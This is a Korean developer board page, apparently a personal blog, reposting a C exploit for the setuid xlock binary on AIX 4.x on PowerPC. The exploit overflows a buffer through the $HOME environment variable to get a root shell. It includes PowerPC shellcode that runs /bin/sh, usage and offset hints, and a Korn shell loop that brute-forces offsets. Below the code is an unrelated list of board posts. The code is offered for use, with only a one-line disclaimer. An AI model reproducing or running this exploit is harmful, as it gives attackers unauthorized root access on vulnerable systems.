Develop
2003.04.23 09:43

[c] home env stack overflow

조회 수 11553 추천 수 0 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
/*
*
*   /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V    
*   CREDITS: this code is simply a modified version of an exploit
*   posted by Georgi Guninski (guninski@hotmail.com)
*
*   This will give a #rootshell# by overwriting a buffer
*   via the $HOME environment variable in 'xlock'
*   This exploit is designed for AIX 4.x on PPC platform.    
*
*
*   USAGE: 
*       $ cc -o foo -g aix_xlock.c
*       $ ./foo 3200
*            #
*
*   HINT: Try giving ranges from 3100 through 3400
*   (If these ranges don't work, then run the brute
*    korn shell script provided after the exploit)
*
*   DISCLAIMER: use this program in a responsible manner.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern int execv();
#define MAXBUF 600

unsigned int code[]={
  0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
  char *c;
  int l;

  l=strlen(name)+strlen(value)+4;
  if (! (c=malloc(l)))
    {
      perror("error allocating");
      exit(2);
    };
  strcpy(c,name);
  strcat(c,"=");
  strcat(c,value);
  putenv(c);
  return c;
}

main(int argc,char **argv,char **env)
{
  unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  int min=200, max=300;
  unsigned int return_address;
  char *newenv[8];
  char *args[4];
  int offset=3200;

  if (argc==2) offset = atoi(argv[1]);

  pt=(unsigned *) &execv;
  toc=*(pt+1);
  eco=*pt;

  *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

  return_address=(unsigned)&buf[0]+offset;

  for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  strcpy((char*)&buf[nop],(char*)&code);
  i=nop+strlen( (char*) &code)/4-1;

  for(i=0;i<max-1;i++) frame[i]=return_address;
  frame[i]=0;

  newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  newenv[5]=createvar("HOME",(char*)&frame[0]);

  args[0]="xlock";
  execve("/usr/bin/X11/xlock",args,newenv);
  perror("Error executing execve n");

}
/*
----------- Brute Korn Shell Script -----------
#!/bin/ksh
L=3000
O=10
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + $O`
./foo $L
done
----------- End Brute Shell Script ------------
*/
/*                    http://www.hack.co.za ;             [2000]*/
?

List of Articles
번호 분류 제목 글쓴이 날짜 조회 수
201 Develop [c++] 현승이가 준 P2P 프로그램 소스 ㅋㅋ file hooni 2013.04.23 12105
200 Develop [c++] 기초강좌 #03(함수의 매개변수 전달) hooni 2003.04.23 12138
199 Develop [ios] GCD 변수 사용 예제 hooni 2013.10.01 12152
198 Develop 참고하고 지울 자료.. 집에서 바야지.. ㅋㅋ file hooni 2013.04.23 12177
197 Develop [c] 문자열 자르는 함수(strtok) 예제 hooni 2013.04.23 12209
196 Develop SVN 명령어 (SVN command) hooni 2014.02.28 12223
195 Develop [php] 하루 전 날짜 쉽게 구하기. hooni 2013.12.25 12310
194 Develop [c++] 자료구조(링크리스트,스택,큐)와 후위 표기 계산기 샘플 ㅋㅋ 4 file hooni 2013.04.23 12356
193 Develop [ios] 네트워크 인디케이터(NetworkActivityIndicator) 작동 file hooni 2014.01.24 12523
192 Develop [php] php5.3부터는 eregi()대신 preg_match()를 사용 hooni 2013.11.18 12528
191 Develop [c] flooding 알고리즘 미로 찾기(도스용) 소스코드 9 file hooni 2003.04.23 12589
190 Develop [api] 인스타그램에서 최신 이미지 가져오기 (Using Instagram API) 20 file hooni 2018.04.05 12646
189 Develop [c++] Win32 API 기본 출력인 MessageBox() 함수 사용 예제.. file hooni 2013.04.23 12710
188 Develop [html] HTML5 튜토리얼 링크 ㅋㅋ hooni 2013.04.23 12826
187 Develop [doc] UI개발시 유용한 소프트웨어 (개발 및 디버깅 툴) hooni 2013.04.23 12935
186 Develop [c] 다중연결 서버 만들기 #1 - fork() 사용 file hooni 2013.04.23 12948
Board Pagination Prev 1 ... 39 40 41 42 43 ... 53 Next
/ 53